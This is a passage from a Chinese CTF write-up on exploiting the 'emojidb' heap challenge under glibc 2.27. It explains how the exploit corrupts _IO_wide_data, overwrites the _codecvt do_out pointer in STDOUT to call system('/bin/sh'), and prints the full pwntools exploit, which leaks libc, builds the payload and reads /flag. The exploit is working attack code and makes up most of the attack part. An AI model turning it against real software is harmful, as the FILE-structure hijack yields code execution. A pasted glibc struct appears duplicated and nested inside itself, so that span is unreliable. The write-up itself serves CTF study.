发现在_IO_vfwprintf
运行结束后,_IO_wide_data_2
的_IO_write_ptr
已被恢复,并且可以发现,它的_IO_write_ptr
指向的是_IO_wide_data_2
末尾,也就是说,我们可以去尝试覆盖掉_IO_wide_data_1
的值并劫持STDOUT
结构体。
查看偏移
接下来继续运行五次,查看内存
可以发现,的确是可以成功覆盖到_IO_wide_data_1
的内容的,那么我们的最终利用思路就是篡改do_out
函数指针,do_out
函数在/glibc-2.27/source/libio/iofwide.c#L155
中定义,我们仅需要看其函数原型即可:
static enum __codecvt_result do_out (struct _IO_codecvt *codecvt, __mbstate_t *statep,
const wchar_t *from_start, const wchar_t *from_end,
const wchar_t **from_stop, char *to_start, char *to_end,
char **to_stop)
而我们最终的IO
结构体如下,我们恰好可以劫持整个_codecvt
结构体。
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
通过偏移计算,我们需要构造如下输入
IO_wide_data = libc.address + 0x3eb9e8
info("IO_wide_data = " + hex(IO_wide_data))
payload = ''
for i in range(16):
payload += char2wchar(p32(IO_wide_data % 0x100000000))
payload += char2wchar(p32(IO_wide_data >> 32))
payload += char2wchar(b'/bin') + char2wchar(b'/sh\0')
payload += char2wchar(p32(libc.symbols['system'] % 0x100000000))
payload += char2wchar(p32(libc.symbols['system'] >> 32))
成功get shell
Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
opcode = {
'0x1F4D6':"\xF0\x9F\x93\x96",#show
'0x1F6A9':"\xF0\x9F\x9A\xA9",
'0x1F193':"\xF0\x9F\x86\x93",#free
'0x1F195':'\xF0\x9F\x86\x95',#new
}
emojidb=ELF('./emojidb', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./run.sh")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./run.sh")
def get_main_arena(self):
"""Find main_arena offset
Returns:
int: Offset to main_arena (returns None if it's not libc)
"""
ofs_realloc_hook = self.symbols['__realloc_hook']
ofs_malloc_hook = self.symbols['__malloc_hook']
if ofs_realloc_hook is None or ofs_malloc_hook is None:
log.error('main_arena works only for libc binaries')
return None
if context.arch == 'i386':
return ofs_malloc_hook + 0x18
else:
return ofs_malloc_hook + (ofs_malloc_hook - ofs_realloc_hook) * 2
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def create(sh,chunk_size,value):
sh.recvuntil("\xe2\x9d\x93")
sh.send(opcode["0x1F195"])
sh.sendafter("\xf0\x9f\x93\x8f\xe2\x9d",str(chunk_size))
sh.recvuntil("\x93")
sh.send(value)
def show(sh,index):
sh.recvuntil("\xe2\x9d\x93")
sh.send(opcode['0x1F4D6'])
sh.sendlineafter("\xe2\x9d\x93",str(index+1))
return sh.recvline()
def delete(sh,index):
sh.recvuntil("\xe2\x9d\x93")
sh.send(opcode["0x1F193"])
sh.sendlineafter("\xe2\x9d\x93",str(index+1))
sh.recvuntil("\x9f\x98\xb1")
def flags(sh):
sh.recvuntil("\xe2\x9d\x93")
sh.send(opcode["0x1F6A9"])
def wchar2char(wchar_data):
convert = process(['./convert','1'])
convert.send(wchar_data)
char_data = convert.recvrepeat(0.3)
convert.close()
return char_data
def char2wchar(char_data):
convert = process(['./convert','2'])
convert.send(char_data)
wchar_data = convert.recvrepeat(0.3).strip('\n').strip('\x00')
convert.close()
return wchar_data
def Attack(sh=None,ip=None,port=None):
if ip != None and port !=None:
try:
sh = remote(ip,port)
except:
return 'ERROR : Can not connect to target server!'
try:
# Your Code here
create(sh,0x110,'Chunk__0'+'\n')
create(sh,0x10,'Chunk__1'+'\n')
delete(sh,0)
libc.address = u64(wchar2char(show(sh,0)).ljust(8,'\x00')) - get_main_arena(libc) - 0x60
if libc.address % 0x1000 != 0:
error('The libc base address is wrong!')
success('The libc base address is ' + hex(libc.address))
create(sh,0x10,'Chunk__0'+'\n')
create(sh,0x10,'Chunk__2'+'\n')
create(sh,0x10,'Chunk__3'+'\n')
create(sh,0x10,'Chunk__4'+'\n')
IO_wide_data = libc.address + 0x3eb9e8
info("IO_wide_data = " + hex(IO_wide_data))
payload = ''
for i in range(16):
payload += char2wchar(p32(IO_wide_data % 0x100000000))
payload += char2wchar(p32(IO_wide_data >> 32))
payload += char2wchar(b'/bin') + char2wchar(b'/sh\0')
payload += char2wchar(p32(libc.symbols['system'] % 0x100000000))
payload += char2wchar(p32(libc.symbols['system'] >> 32))
sh.sendlineafter(b"\xe2\x9d\x93", payload)
flag=get_flag(sh)
sh.close()
return flag
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
0x03 [2020 PlaidCTF] golf.so – 500pt
题目类型:Misc
本题WordPress无法正常显示!请查看安全客原文~
0 条评论